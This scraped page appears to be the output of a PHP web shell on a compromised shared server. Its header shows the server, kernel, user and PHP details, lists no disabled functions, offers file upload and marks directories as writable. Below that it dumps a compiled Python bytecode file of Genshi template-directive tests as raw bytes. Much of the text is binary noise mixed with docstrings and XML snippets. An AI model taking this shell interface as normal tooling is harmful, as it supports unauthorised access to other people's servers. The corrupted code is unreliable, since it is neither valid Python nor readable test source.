https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/genshi/template/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/genshi/template/tests/__pycache__/directives.cpython-310.pyc
o

!�b(��@s ddlZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
mZGdd�dej�Z
Gdd�dej�ZGdd	�d	ej�ZGd
d�dej�ZGdd
�d
ej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�Zdd�Zedkr�ejdd�dSdS)�N)�
IS_PYTHON2)�
directives�MarkupTemplate�TextTemplate�TemplateRuntimeError�TemplateSyntaxErrorc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�AttrsDirectiveTestCasez,Tests for the `py:attrs` template directive.cCs8td�}ddiddig}|�d|j|d�jdd��dS)	zM
        Verify that the directive has access to the loop variables.
        zt<doc xmlns:py="http://genshi.edgewall.org/">
          <elem py:for="item in items" py:attrs="item"/>
        </doc>�id��z;<doc>
          <elem id="1"/><elem id="2"/>
        </doc>��itemsN��encoding�r�assertEqual�generate�render)�self�tmplr
�r�B/usr/lib/python3/dist-packages/genshi/template/tests/directives.py�test_combined_with_loops
�z.AttrsDirectiveTestCase.test_combined_with_loopcC�$td�}|�d|��jdd��dS)�}
        Verify that an attribute value that evaluates to `None` removes an
        existing attribute of that name.
        zu<doc xmlns:py="http://genshi.edgewall.org/">
          <elem class="foo" py:attrs="{'class': 'bar'}"/>
        </doc>z2<doc>
          <elem class="bar"/>
        </doc>Nrr�rrrrr�test_update_existing_attr'��z0AttrsDirectiveTestCase.test_update_existing_attrcCr)rzt<doc xmlns:py="http://genshi.edgewall.org/">
          <elem class="foo" py:attrs="{'class': None}"/>
        </doc>z&<doc>
          <elem/>
        </doc>Nrrrrrr�test_remove_existing_attr3rz0AttrsDirectiveTestCase.test_remove_existing_attrN)�__name__�
__module__�__qualname__�__doc__rrrrrrrrs
rc@sxeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�ChooseDirectiveTestCasezoTests for the `py:choose` template directive and the complementary
    directives `py:when` and `py:otherwise`.cCr)zd
        Verify that, if multiple `py:when` bodies match, only the first is
        output.
        z�<div xmlns:py="http://genshi.edgewall.org/" py:choose="">
          <span py:when="1 == 1">1</span>
          <span py:when="2 == 2">2</span>
          <span py:when="3 == 3">3</span>
        </div>z-<div>
          <span>1</span>
        </div>Nrrrrrr�test_multiple_true_whensD��z0ChooseDirectiveTestCase.test_multiple_true_whenscC�$td�}|�d|��jdd��dS)Nz�<div xmlns:py="http://genshi.edgewall.org/" py:choose="">
          <span py:when="False">hidden</span>
          <span py:otherwise="">hello</span>
        </div>z1<div>
          <span>hello</span>
        </div>rrrrrr�test_otherwiseR��z&ChooseDirectiveTestCase.test_otherwisecCr)z?
        Verify that `py:choose` blocks can be nested:
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="1">
            <div py:when="1" py:choose="3">
              <span py:when="2">2</span>
              <span py:when="3">3</span>
            </div>
          </div>
        </doc>zw<doc>
          <div>
            <div>
              <span>3</span>
            </div>
          </div>
        </doc>Nrrrrrr�test_nesting[��z$ChooseDirectiveTestCase.test_nestingcCr)z.
        Verify more complex nesting.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="1">
            <div py:when="1" py:choose="">
              <span py:when="2">OK</span>
              <span py:when="1">FAIL</span>
            </div>
          </div>
        </doc>�x<doc>
          <div>
            <div>
              <span>OK</span>
            </div>
          </div>
        </doc>Nrrrrrr�test_complex_nestingor*z,ChooseDirectiveTestCase.test_complex_nestingcCr)z>
        Verify more complex nesting using otherwise.
        a<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="1">
            <div py:when="1" py:choose="2">
              <span py:when="1">FAIL</span>
              <span py:otherwise="">OK</span>
            </div>
          </div>
        </doc>r+Nrrrrrr�test_complex_nesting_otherwise�r*z6ChooseDirectiveTestCase.test_complex_nesting_otherwisecCr)zs
        Verify that a when directive with a strip directive actually strips of
        the outer element.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="" py:strip="">
            <span py:otherwise="">foo</span>
          </div>
        </doc>z1<doc>
            <span>foo</span>
        </doc>Nrrrrrr�test_when_with_strip�r%z,ChooseDirectiveTestCase.test_when_with_stripcC�td�}|�tt|���dS)zq
        Verify that a `when` directive outside of a `choose` directive is
        reported as an error.
        zZ<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:when="xy" />
        </doc>N�r�assertRaisesr�strrrrrr�test_when_outside_choose��z0ChooseDirectiveTestCase.test_when_outside_choosecCr/)zw
        Verify that an `otherwise` directive outside of a `choose` directive is
        reported as an error.
        z]<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:otherwise="" />
        </doc>Nr0rrrr�test_otherwise_outside_choose�r4z5ChooseDirectiveTestCase.test_otherwise_outside_choosecCr/)zw
        Verify that an `when` directive that doesn't have a `test` attribute
        is reported as an error.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="" py:strip="">
            <py:when>foo</py:when>
          </div>
        </doc>Nr0rrrr�test_when_without_test�sz.ChooseDirectiveTestCase.test_when_without_testcC�(td�}|�d|jdd�jdd��dS)z�
        Verify that an `when` directive that doesn't have a `test` attribute
        works as expected as long as the parent `choose` directive has a test
        expression.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="foo" py:strip="">
            <py:when>foo</py:when>
          </div>
        </doc>�$<doc>
            foo
        </doc>�Yeah��fooNrrrrrr�,test_when_without_test_but_with_choose_value�s�zDChooseDirectiveTestCase.test_when_without_test_but_with_choose_valuecCr)zf
        Verify that an `otherwise` directive can be used without a `test`
        attribute.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:choose="" py:strip="">
            <py:otherwise>foo</py:otherwise>
          </div>
        </doc>r8Nrrrrrr�test_otherwise_without_test�r%z3ChooseDirectiveTestCase.test_otherwise_without_testcCr)�K
        Verify that the directive can also be used as an element.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:choose>
            <py:when test="1 == 1">1</py:when>
            <py:when test="2 == 2">2</py:when>
            <py:when test="3 == 3">3</py:when>
          </py:choose>
        </doc>z"<doc>
            1
        </doc>Nrrrrrr�test_as_element�s�z'ChooseDirectiveTestCase.test_as_elementcCr)�Q
        Verify that the directive works as expected in a text template.
        z�#choose
          #when 1 == 1
            1
          #end
          #when 2 == 2
            2
          #end
          #when 3 == 3
            3
          #end
        #endz            1
Nr�rrrrrrrr�test_in_text_template�s�z-ChooseDirectiveTestCase.test_in_text_templateN)rr r!r"r$r'r)r,r-r.r3r5r6r<r=r?rBrrrrr#@s	

r#c@sheZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�DefDirectiveTestCasez*Tests for the `py:def` template directive.cCr)z|
        Verify that a named template function with a strip directive actually
        strips of the outer element.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:def="echo(what)" py:strip="">
            <b>${what}</b>
          </div>
          ${echo('foo')}
        </doc>�+<doc>
            <b>foo</b>
        </doc>Nrrrrrr�test_function_with_strip��z-DefDirectiveTestCase.test_function_with_stripcCr&)Nz�<div xmlns:py="http://genshi.edgewall.org/">
          <p py:def="echo(greeting, name='world')" class="message">
            ${greeting}, ${name}!
          </p>
          <div py:replace="echo('hello')"></div>
        </div>z[<div>
          <p class="message">
            hello, world!
          </p>
        </div>rrrrrr�test_exec_in_replace��z)DefDirectiveTestCase.test_exec_in_replacecCr)r>z�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:def function="echo(what)">
            <b>${what}</b>
          </py:def>
          ${echo('foo')}
        </doc>rDNrrrrrrr?#��z$DefDirectiveTestCase.test_as_elementcCr7)z�
        Verify that a template function defined inside a conditional block can
        be called from outside that block.
        a*<doc xmlns:py="http://genshi.edgewall.org/">
          <py:if test="semantic">
            <strong py:def="echo(what)">${what}</strong>
          </py:if>
          <py:if test="not semantic">
            <b py:def="echo(what)">${what}</b>
          </py:if>
          ${echo('foo')}
        </doc>z3<doc>
          <strong>foo</strong>
        </doc>T)�semanticNrrrrrr�test_nested_defs1s	�z%DefDirectiveTestCase.test_nested_defscCr)zN
        Verify that keyword arguments work with `py:def` directives.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <b py:def="echo(what, bold=False)" py:strip="not bold">${what}</b>
          ${echo('foo')}
        </doc>z"<doc>
          foo
        </doc>Nrrrrrr�test_function_with_default_argCs�z3DefDirectiveTestCase.test_function_with_default_argcCr&)Nz�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:def function="echo(what)">${what or 'something'}</py:def>
          <p class="${echo('foo')}">bar</p>
        </doc>z5<doc>
          <p class="foo">bar</p>
        </doc>rrrrrr�test_invocation_in_attributeOr(z1DefDirectiveTestCase.test_invocation_in_attributecCr&)Nz�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:def function="echo()">${None}</py:def>
          <p class="${echo()}">bar</p>
        </doc>z)<doc>
          <p>bar</p>
        </doc>rrrrrr�!test_invocation_in_attribute_noneXr(z6DefDirectiveTestCase.test_invocation_in_attribute_nonecCs*dd�}td�}|�tt|j|d��dS)NcSst�)N)�	TypeErrorrrrr�badfuncbszEDefDirectiveTestCase.test_function_raising_typeerror.<locals>.badfuncz�<html xmlns:py="http://genshi.edgewall.org/">
          <div py:def="dobadfunc()">
            ${badfunc()}
          </div>
          <div py:content="dobadfunc()"/>
        </html>)rP)rr1rO�listr)rrPrrrr�test_function_raising_typeerrorasz4DefDirectiveTestCase.test_function_raising_typeerrorcCr&)Na<doc xmlns:py="http://genshi.edgewall.org/">
          <head py:match="head">${select('*')}</head>
          <head>
            <py:def function="maketitle(test)"><b py:replace="test" /></py:def>
            <title>${maketitle(True)}</title>
          </head>
        </doc>�?<doc>
          <head><title>True</title></head>
        </doc>rrrrrr�test_def_in_matchedl��z(DefDirectiveTestCase.test_def_in_matchedcCr)r@z�
          #def echo(greeting, name='world')
            ${greeting}, ${name}!
          #end
          ${echo('Hi', name='you')}
        z)
                      Hi, you!

        NrrArrrrrBxs�z*DefDirectiveTestCase.test_in_text_templatecCr)zi
        Verify that a named template function using "star arguments" works as
        expected.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:def="f(*args, **kwargs)">
            ${repr(args)}
            ${repr(sorted(kwargs.items()))}
          </div>
          ${f(1, 2, a=3, b=4)}
        </doc>zi<doc>
          <div>
            [1, 2]
            [('a', 3), ('b', 4)]
          </div>
        </doc>Nrrrrrr�test_function_with_star_args�s�z1DefDirectiveTestCase.test_function_with_star_argsN)rr r!r"rErGr?rKrLrMrNrRrTrBrVrrrrrCs
		rCc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�ForDirectiveTestCasez*Tests for the `py:for` template directive.cC�.td�}|�d|jtdd�d�jdd��dS)zk
        Verify that the combining the `py:for` directive with `py:strip` works
        correctly.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:for="item in items" py:strip="">
            <b>${item}</b>
          </div>
        </doc>�}<doc>
            <b>1</b>
            <b>2</b>
            <b>3</b>
            <b>4</b>
            <b>5</b>
        </doc>r
�rNr�rrr�rangerrrrr�test_loop_with_strip�s�z)ForDirectiveTestCase.test_loop_with_stripcCrX)r>z�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:for each="item in items">
            <b>${item}</b>
          </py:for>
        </doc>rYr
rZrNrr[rrrrr?�s�z$ForDirectiveTestCase.test_as_elementcCr7)zC
        Verify that assignment to tuples works correctly.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:for each="k, v in items">
            <p>key=$k, value=$v</p>
          </py:for>
        </doc>zX<doc>
            <p>key=a, value=1</p>
            <p>key=b, value=2</p>
        </doc>)��ar
��brrNrrrrrr�test_multi_assignment�s
��z*ForDirectiveTestCase.test_multi_assignmentcCs0td�}|�d|jtddg�d�jdd��dS)�J
        Verify that assignment to nested tuples works correctly.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:for each="idx, (k, v) in items">
            <p>$idx: key=$k, value=$v</p>
          </py:for>
        </doc>z^<doc>
            <p>0: key=a, value=1</p>
            <p>1: key=b, value=2</p>
        </doc>r^r`rNr)rrr�	enumeraterrrrr�test_nested_assignment�s��z+ForDirectiveTestCase.test_nested_assignmentc	
Cs�tddd�}zt|jdd��|�d�WdStyx}zVt|�dks,t|�dks,J�t��\}}}|j}g}|jrF|j}|�	|�|js;t
rJd	nd
}|�d||djj
j�|�d|djj
j�|�d
|dj�WYd}~dSd}~ww)rcz�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:for each="item in foo">
            $item
          </py:for>
        </doc>�	test.html��filename�r:zExpected TemplateRuntimeErrorziteration over non-sequencez'int' object is not iterablezu'iter(foo)'z'iter(foo)'z<Expression %s>���rN)rrQr�failrOr2�sys�exc_info�tb_next�appendrr�tb_frame�f_code�co_name�co_filename�	tb_lineno)	rr�e�exc_type�	exc_value�
exc_traceback�frame�frames�expected_iter_strrrr�test_not_iterable�s4�
�
�� ��z&ForDirectiveTestCase.test_not_iterablec
Cs�ztddd���|�d�WdStyA}z%|�d|j�tjdd�dkr6|�d|j�WYd}~dSWYd}~dSd}~ww)z9
        Verify an empty 'for' value is an error
        z�<doc xmlns:py="http://genshi.edgewall.org/">
              <py:for each="">
                empty
              </py:for>
            </doc>rfrg�ExpectedTemplateSyntaxErrorNr)r�)	rrrkrrrhrl�version_info�lineno�rrurrr�test_for_with_empty_value�s����z.ForDirectiveTestCase.test_for_with_empty_valueN)
rr r!r"r]r?rbrer|r�rrrrrW�srWc@� eZdZdZdd�Zdd�ZdS)�IfDirectiveTestCasez)Tests for the `py:if` template directive.cC�*td�}|�d|jddd�jdd��dS)zj
        Verify that the combining the `py:if` directive with `py:strip` works
        correctly.
        zk<doc xmlns:py="http://genshi.edgewall.org/">
          <b py:if="foo" py:strip="">${bar}</b>
        </doc>�$<doc>
          Hello
        </doc>T�Hello�r;�barNrrrrrrr]s�z(IfDirectiveTestCase.test_loop_with_stripcCr�)r>zf<doc xmlns:py="http://genshi.edgewall.org/">
          <py:if test="foo">${bar}</py:if>
        </doc>r�Tr�r�Nrrrrrrr?s�z#IfDirectiveTestCase.test_as_elementN)rr r!r"r]r?rrrrr�sr�c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6S)7�MatchDirectiveTestCasez,Tests for the `py:match` template directive.cCr)��
        Verify that a match template can produce the same kind of element that
        it matched without entering an infinite recursion.
        z�<doc xmlns:py="http://genshi.edgewall.org/">
          <elem py:match="elem" py:strip="">
            <div class="elem">${select('text()')}</div>
          </elem>
          <elem>Hey Joe</elem>
        </doc>�@<doc>
            <div class="elem">Hey Joe</div>
        </doc>Nrrrrrr�test_with_strip*rFz&MatchDirectiveTestCase.test_with_stripcCr)r�z�<doc xmlns:py="http://genshi.edgewall.org/">
          <elem py:match="elem">
            <div class="elem">${select('text()')}</div>
          </elem>
          <elem>Hey Joe</elem>
        </doc>zc<doc>
          <elem>
            <div class="elem">Hey Joe</div>
          </elem>
        </doc>Nrrrrrr�test_without_strip9s�z)MatchDirectiveTestCase.test_without_stripcCr)r>z�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:match path="elem">
            <div class="elem">${select('text()')}</div>
          </py:match>
          <elem>Hey Joe</elem>
        </doc>r�Nrrrrrrr?JrIz&MatchDirectiveTestCase.test_as_elementcCr)z�
        Match directives are applied recursively, meaning that they are also
        applied to any content they may have produced themselves:
        a#<doc xmlns:py="http://genshi.edgewall.org/">
          <elem py:match="elem">
            <div class="elem">
              ${select('*')}
            </div>
          </elem>
          <elem>
            <subelem>
              <elem/>
            </subelem>
          </elem>
        </doc>z�<doc>
          <elem>
            <div class="elem">
              <subelem>
              <elem>
            <div class="elem">
            </div>
          </elem>
            </subelem>
            </div>
          </elem>
        </doc>Nrrrrrr�test_recursive_match_1Xs�z-MatchDirectiveTestCase.test_recursive_match_1cCr)z�
        When two or more match templates match the same element and also
        themselves output the element they match, avoiding recursion is even
        more complex, but should work.
        aS<html xmlns:py="http://genshi.edgewall.org/">
          <body py:match="body">
            <div id="header"/>
            ${select('*')}
          </body>
          <body py:match="body">
            ${select('*')}
            <div id="footer"/>
          </body>
          <body>
            <h1>Foo</h1>
          </body>
        </html>z�<html>
          <body>
            <div id="header"/><h1>Foo</h1>
            <div id="footer"/>
          </body>
        </html>Nrrrrrr�test_recursive_match_2vs
�z-MatchDirectiveTestCase.test_recursive_match_2cCr&)Na1<test xmlns:py="http://genshi.edgewall.org/">
          <py:match path="b[@type='bullet']">
            <bullet>${select('*|text()')}</bullet>
          </py:match>
          <py:match path="group[@type='bullet']">
            <ul>${select('*')}</ul>
          </py:match>
          <py:match path="b">
            <generic>${select('*|text()')}</generic>
          </py:match>

          <b>
            <group type="bullet">
              <b type="bullet">1</b>
              <b type="bullet">2</b>
            </group>
          </b>
        </test>
        z{<test>
            <generic>
            <ul><bullet>1</bullet><bullet>2</bullet></ul>
          </generic>
        </test>rrrrrr�test_recursive_match_3�s�z-MatchDirectiveTestCase.test_recursive_match_3cCr)z:
        See http://genshi.edgewall.org/ticket/77
        aM<html xmlns="http://www.w3.org/1999/xhtml"
              xmlns:py="http://genshi.edgewall.org/">
          <body py:match="body" py:content="select('*')" />
          <h1 py:match="h1">
            ${select('text()')}
            Goodbye!
          </h1>
          <body>
            <h1>Hello!</h1>
          </body>
        </html>z�<html xmlns="http://www.w3.org/1999/xhtml">
          <body><h1>
            Hello!
            Goodbye!
          </h1></body>
        </html>Nrrrrrr�test_not_match_self�s�z*MatchDirectiveTestCase.test_not_match_selfcCr)zD
        See http://genshi.edgewall.org/ticket/77#comment:1
        av<html xmlns="http://www.w3.org/1999/xhtml"
              xmlns:py="http://genshi.edgewall.org/">
          <body py:match="body" py:content="select('*')" />
          <h1 py:match="h1">
            <text>
              ${select('text()')}
            </text>
            Goodbye!
          </h1>
          <body>
            <h1>Hello!</h1>
          </body>
        </html>z�<html xmlns="http://www.w3.org/1999/xhtml">
          <body><h1>
            <text>
              Hello!
            </text>
            Goodbye!
          </h1></body>
        </html>Nrrrrrr�test_select_text_in_element�s
�z2MatchDirectiveTestCase.test_select_text_in_elementcCr&)Nz�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:match="elem" py:attrs="select('@*')">
            ${select('text()')}
          </div>
          <elem id="joe">Hey Joe</elem>
        </doc>zR<doc>
          <div id="joe">
            Hey Joe
          </div>
        </doc>rrrrrr�test_select_all_attrs�rHz,MatchDirectiveTestCase.test_select_all_attrscCr&)Nz�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:match="elem" py:attrs="select('@*')">
            ${select('text()')}
          </div>
          <elem>Hey Joe</elem>
        </doc>zI<doc>
          <div>
            Hey Joe
          </div>
        </doc>rrrrrr�test_select_all_attrs_empty�rHz2MatchDirectiveTestCase.test_select_all_attrs_emptycCr&)Nz�<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:match="elem">
            Hey ${select('text()')} ${select('@*')}
          </div>
          <elem title="Cool">Joe</elem>
        </doc>zN<doc>
          <div>
            Hey Joe Cool
          </div>
        </doc>rrrrrr�test_select_all_attrs_in_body�rHz4MatchDirectiveTestCase.test_select_all_attrs_in_bodycCr&)Nz�<doc xmlns:py="http://genshi.edgewall.org/">
          <py:def function="maketitle(test)"><b py:replace="test" /></py:def>
          <head py:match="head">${select('*')}</head>
          <head><title>${maketitle(True)}</title></head>
        </doc>rSrrrrrr�test_def_in_matchs�z(MatchDirectiveTestCase.test_def_in_matchcCsDtd�}|�d|jdd�jdd��|�d|jdd�jdd��dS)Nz�<div xmlns:py="http://genshi.edgewall.org/">
          <span py:match="*[name()=$tagname]">
            Hello ${select('@name')}
          </span>
          <greeting name="Dude"/>
        </div>zN<div>
          <span>
            Hello Dude
          </span>
        </div>�greeting)�tagnamerz6<div>
          <greeting name="Dude"/>
        </div>�sayhellorrrrr�test_match_with_xpath_variables��z5MatchDirectiveTestCase.test_match_with_xpath_variablecCr&)Nz�<html xmlns:py="http://genshi.edgewall.org/">
          <div py:match="foo">I said <q py:content="select('text()')">something</q>.</div>
          <foo>bar</foo>
        </html>z><html>
          <div>I said <q>bar</q>.</div>
        </html>rrrrrr�test_content_directive_in_matchr(z6MatchDirectiveTestCase.test_content_directive_in_matchcCr&)Na[<html xmlns:py="http://genshi.edgewall.org/">
          <body py:match="body">${select('*')}</body>
          <head py:match="head">${select('title')}</head>
          <body py:match="body">${select('*')}<hr /></body>
          <head><title>Welcome to Markup</title></head>
          <body><h2>Are you ready to mark up?</h2></body>
        </html>z�<html>
          <head><title>Welcome to Markup</title></head>
          <body><h2>Are you ready to mark up?</h2><hr/></body>
        </html>rrrrrr�test_cascaded_matches$s�z,MatchDirectiveTestCase.test_cascaded_matchescCsRtd�}dd�td�D�}tdd�td�D��}|�d|j||d�jdd��dS)	Na_<html xmlns:py="http://genshi.edgewall.org/">
          <input py:match="form//input" py:attrs="select('@*')"
                 value="${values[str(select('@name'))]}" />
          <form><p py:for="field in fields">
            <label>${field.capitalize()}</label>
            <input type="text" name="${field}" />
          </p></form>
        </html>cSsg|]}d|�qS�zhello_%sr��.0�irrr�
<listcomp>:sz@MatchDirectiveTestCase.test_multiple_matches.<locals>.<listcomp>�cSsg|]}d||f�qSr�rr�rrrr�;saY<html>
          <form><p>
            <label>Hello_0</label>
            <input value="0" type="text" name="hello_0"/>
          </p><p>
            <label>Hello_1</label>
            <input value="1" type="text" name="hello_1"/>
          </p><p>
            <label>Hello_2</label>
            <input value="2" type="text" name="hello_2"/>
          </p><p>
            <label>Hello_3</label>
            <input value="3" type="text" name="hello_3"/>
          </p><p>
            <label>Hello_4</label>
            <input value="4" type="text" name="hello_4"/>
          </p></form>
        </html>)�fields�valuesr)rr\�dictrrr)rrr�r�rrr�test_multiple_matches1s��z,MatchDirectiveTestCase.test_multiple_matchescCr&)Nz�<html xmlns:py="http://genshi.edgewall.org/"
                                       xmlns:x="http://www.example.org/">
          <div py:match="x:foo">Foo</div>
          <foo xmlns="http://www.example.org/"/>
        </html>zQ<html xmlns:x="http://www.example.org/">
          <div>Foo</div>
        </html>rrrrrr�test_namespace_contextPrUz-MatchDirectiveTestCase.test_namespace_contextcCr&)Nz�<html xmlns:py="http://genshi.edgewall.org/">
          <p py:match="body/p[1]" class="first">${select('*|text()')}</p>
          <body>
            <p>Foo</p>
            <p>Bar</p>
          </body>
        </html>zu<html>
          <body>
            <p class="first">Foo</p>
            <p>Bar</p>
          </body>
        </html>rrrrrr�"test_match_with_position_predicate\��z9MatchDirectiveTestCase.test_match_with_position_predicatecCr&)Nz�<html xmlns:py="http://genshi.edgewall.org/">
          <p py:match="body//p" class="para">${select('*|text()')}</p>
          <body>
            <p>Foo</p>
            <div><p>Bar</p></div>
          </body>
        </html>z�<html>
          <body>
            <p class="para">Foo</p>
            <div><p class="para">Bar</p></div>
          </body>
        </html>rrrrrr�test_match_with_closurekr�z.MatchDirectiveTestCase.test_match_with_closurecCr&)Nz�<html xmlns:py="http://genshi.edgewall.org/">
          <p py:match="body/p" class="para">${select('*|text()')}</p>
          <body>
            <p>Foo</p>
            <div><p>Bar</p></div>
          </body>
        </html>z<html>
          <body>
            <p class="para">Foo</p>
            <div><p>Bar</p></div>
          </body>
        </html>rrrrrr�test_match_without_closurezr�z1MatchDirectiveTestCase.test_match_without_closurecCr&)NaM<html xmlns:py="http://genshi.edgewall.org/">
          <py:match path="body" once="true"><body>
            <div id="wrap">
              ${select("*")}
            </div>
          </body></py:match>
          <body>
            <p>Foo</p>
          </body>
          <body>
            <p>Bar</p>
          </body>
        </html>z�<html>
          <body>
            <div id="wrap">
              <p>Foo</p>
            </div>
          </body>
          <body>
            <p>Bar</p>
          </body>
        </html>rrrrrr�test_match_with_once_attribute�s
	�z5MatchDirectiveTestCase.test_match_with_once_attributecCr&)NaF<doc xmlns:py="http://genshi.edgewall.org/">
          <py:match path="elem" recursive="false"><elem>
            <div class="elem">
              ${select('*')}
            </div>
          </elem></py:match>
          <elem>
            <subelem>
              <elem/>
            </subelem>
          </elem>
        </doc>z�<doc>
          <elem>
            <div class="elem">
              <subelem>
              <elem/>
            </subelem>
            </div>
          </elem>
        </doc>rrrrrr�#test_match_with_recursive_attribute�s�z:MatchDirectiveTestCase.test_match_with_recursive_attributecCsFtd�}|��jddd�}t�d|�}|�d|�|�dt|��dS)Na6<doc xmlns:py="http://genshi.edgewall.org/">
          <div py:match="div[@id='content']" py:attrs="select('@*')" once="true">
            <ul id="tabbed_pane" />
            ${select('*')}
          </div>

          <body py:match="body" once="true" buffer="false">
            ${select('*|text()')}
          </body>
          <body py:match="body" once="true" buffer="false">
              ${select('*|text()')}
          </body>

          <body>
            <div id="content">
              <h1>Ticket X</h1>
            </div>
          </body>
        </doc>�xhtml)�doctype�tabbed_paner
)rrr�re�findall�assertNotEqualr�len)rr�output�matchesrrr�-test_triple_match_produces_no_duplicate_items�s
zDMatchDirectiveTestCase.test_triple_match_produces_no_duplicate_itemscC� td�}|�d|�����dS)Nz�<html xmlns:py="http://genshi.edgewall.org/">
          <py:match path="body[@id='content']/h2" />
          <head py:match="head" />
          <head py:match="head" />
          <head />
          <body />
        </html>z:<html>
          <head/>
          <body/>
        </html>rrrrr�test_match_multiple_times1�s
�z1MatchDirectiveTestCase.test_match_multiple_times1cCr�)Na<html xmlns:py="http://genshi.edgewall.org/">
          <py:match path="body/div[@id='properties']" />
          <head py:match="head" />
          <head py:match="head" />
          <head/>
          <body>
            <div id="properties">Foo</div>
          </body>
        </html>zK<html>
          <head/>
          <body>
          </body>
        </html>rrrrr�test_match_multiple_times2�s	
�z1MatchDirectiveTestCase.test_match_multiple_times2cCr�)Na<?xml version="1.0"?>
          <root xmlns:py="http://genshi.edgewall.org/">
            <py:match path="foo/bar">
              <zzzzz/>
            </py:match>
            <foo>
              <bar/>
              <bar/>
            </foo>
            <bar/>
          </root>z�<?xml version="1.0"?>
<root>
            <foo>
              <zzzzz/>
              <zzzzz/>
            </foo>
            <bar/>
          </root>rrrrr�test_match_multiple_times3�s
�z1MatchDirectiveTestCase.test_match_multiple_times3N)rr r!r"r�r�r?r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�'s8



	
r�c@seZdZdZdd�ZdS)�ContentDirectiveTestCasez.Tests for the `py:content` template directive.c
Csdztddd���|�d�WdSty1}z|�d|j�|�d|j�WYd}~dSd}~ww)Nzq<doc xmlns:py="http://genshi.edgewall.org/">
              <py:content foo="">Foo</py:content>
            </doc>rfrg�Expected TemplateSyntaxErrorr�rrrkrrrhr�r�rrrr?s���z(ContentDirectiveTestCase.test_as_elementN)rr r!r"r?rrrrr�sr�c@r�)�ReplaceDirectiveTestCasez.Tests for the `py:replace` template directive.c
Csdztddd���|�d�WdSty1}z|�d|j�|�d|j�WYd}~dSd}~ww)zy
        Verify that the directive raises an apprioriate exception when an empty
        expression is supplied.
        zl<doc xmlns:py="http://genshi.edgewall.org/">
              <elem py:replace="">Foo</elem>
            </doc>rfrgr�rNr�r�rrr�test_replace_with_empty_value's���z6ReplaceDirectiveTestCase.test_replace_with_empty_valuecCs,tddd�}|�d|jdd�jdd��dS)Nzb<div xmlns:py="http://genshi.edgewall.org/">
          <py:replace value="title" />
        </div>rfrgz#<div>
          Test
        </div>�Test)�titlerrrrrrr?5s��z(ReplaceDirectiveTestCase.test_as_elementN)rr r!r"r�r?rrrrr�$sr�c@r�)�StripDirectiveTestCasez,Tests for the `py:strip` template directive.cCr&)Nzl<div xmlns:py="http://genshi.edgewall.org/">
          <div py:strip="False"><b>foo</b></div>
        </div>z4<div>
          <div><b>foo</b></div>
        </div>rrrrrr�test_strip_falseA��z'StripDirectiveTestCase.test_strip_falsecCr&)Nzg<div xmlns:py="http://genshi.edgewall.org/">
          <div py:strip=""><b>foo</b></div>
        </div>z)<div>
          <b>foo</b>
        </div>rrrrrr�test_strip_emptyIr�z'StripDirectiveTestCase.test_strip_emptyN)rr r!r"r�r�rrrrr�>sr�c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�WithDirectiveTestCasez+Tests for the `py:with` template directive.cC�(td�}|�d|jdd�jdd��dS)Nz�<div xmlns:py="http://genshi.edgewall.org/">
          ${x}
          <span py:with="x = x * 2" py:replace="x"/>
          ${x}
        </div>z;<div>
          42
          84
          42
        </div>�*��xrrrrrr�test_shadowingUs�z$WithDirectiveTestCase.test_shadowingcCr�)Nzn<div xmlns:py="http://genshi.edgewall.org/">
          <py:with vars="x = x * 2">${x}</py:with>
        </div>z!<div>
          84
        </div>r�r�rrrrrrr?a��z%WithDirectiveTestCase.test_as_elementcCr�)Nz�<div xmlns:py="http://genshi.edgewall.org/">
          <py:with vars="
            foo = 'bar';
            foo = foo.replace('r', 'z')
          ">
            $foo
          </py:with>
        </div>z$<div>
            baz
